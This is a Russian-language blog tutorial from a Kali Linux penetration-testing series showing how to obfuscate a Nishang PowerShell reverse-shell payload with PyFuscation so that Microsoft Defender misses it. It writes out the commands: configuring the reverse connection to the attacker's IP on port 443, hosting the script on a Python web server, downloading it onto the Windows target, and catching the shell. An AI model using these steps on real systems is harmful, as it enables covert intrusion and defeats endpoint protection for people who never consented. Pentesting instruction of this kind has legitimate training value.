Kali Linux, Kali Linux для продвинутого тестирования на проникновение, PowerShell, Обфускация

#84 Kali Linux для продвинутого тестирования на проникновение. Обфускация PowerShell и использование бесфайловых методов.

Здравствуйте, дорогие друзья.

Недавние улучшения в механизмах защиты безопасности конечных точек и мониторинге в реальном времени, использования EDR наложило множество ограничений на существующие инструменты атаки. Однако, там всегда есть новые способы обойти их. В этом разделе мы рассмотрим, как обфусцировать известную полезную нагрузку PowerShell и передачу удаленной оболочки злоумышленнику.

Мы будем использовать инструмент PyFuscation. Он написан на Python 3 и может заменить все имена функций, переменные и параметры данного сценария PowerShell. Его можно клонировать непосредственно из репозитория Git, выполнив следующую команду:

Обфускатор должен быть готов к использованию. Теперь мы будем использовать скрипт Nishang PowerShell, для обфускации полезной нагрузки. Эти скрипты можно клонировать из репозитория Git, запустив sudo git clone https://github.com/samratashok/nishang, и из той же папки cd nishang/Shells, add Invoke-PowerShellTcp –Reverse –IPAddress <yourKaliIP> -Port 443 в содержимое скрипта Invoke-PowerShellTcp.ps1 и сохраните файл (этот файл находится в папке nishang/shells). Отредактированный фрагмент кода показан на рисунке ниже:

Editing the Invoke-PowerShellTcp.Ps1 contents

Наконец, мы замаскируем сценарий PowerShell, который только что отредактировали, с помощью PyFuscation, запустив sudo python3 PyFuscation.py –fvp –ps nameofthescript.ps1. Вы должны быть в состоянии видеть, что сценарии, функции, переменные, и параметры PowerShell теперь заменены на новую папку и новое имя файла, как показано на рисунке ниже:

Running PyFuscation on Invoke-PowerShellTcp.ps1

Как только файл будет успешно обфусцирован, мы можем изменить наш каталог на выходную папку, а затем переименуем файл во что-то более простое для вызова из целевой системы, и мы разместим наш веб-сервер, используя модуль Python, просто запустив python3 –m http.server, как показано на рисунке ниже:

Moving the file and hosting the Python web server

На целевой машине Windows мы можем просто запустить wget http://<yourkaliIP>/filename.ps1 -Outfile (извлечь) любую папку из PowerShell. Теперь окончательный сценарий готов для сканирования антивирусным программным обеспечением. В этом примере мы будем использовать Microsoft Defender, для сканирования скрипта, как показано на рисунке ниже. Он никогда не должен ничего находить во вредоносном сценарии. Чтобы увидеть разницу, Вы можете сначала попробовать оригинальный скрипт без обфускации, где Вы увидите предупреждение от Microsoft Defender, помечая его как вредоносное ПО.

Microsoft Windows Defender confirmation that no new threats were found

В качестве последнего шага, как только скрипт будет доставлен к цели, злоумышленники теперь могут открыть порт для подключения к цели. В этом случае порт 443 был установлен в начальной полезной нагрузке. Как только этот PowerShell — скрипт запускается, либо открывая его в PowerShell, либо запуская его, он должен открыть прямое обратное соединение со злоумышленниками, без блокировки антивирусом/EDR, как показано на рисунке ниже:

Remote shell on an attacker’s Kali Linux on port 443

Мы рассмотрим все различные методы поддержания командования и контроля в следующем разделе.

На этом все. Всем хорошего дня!

Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.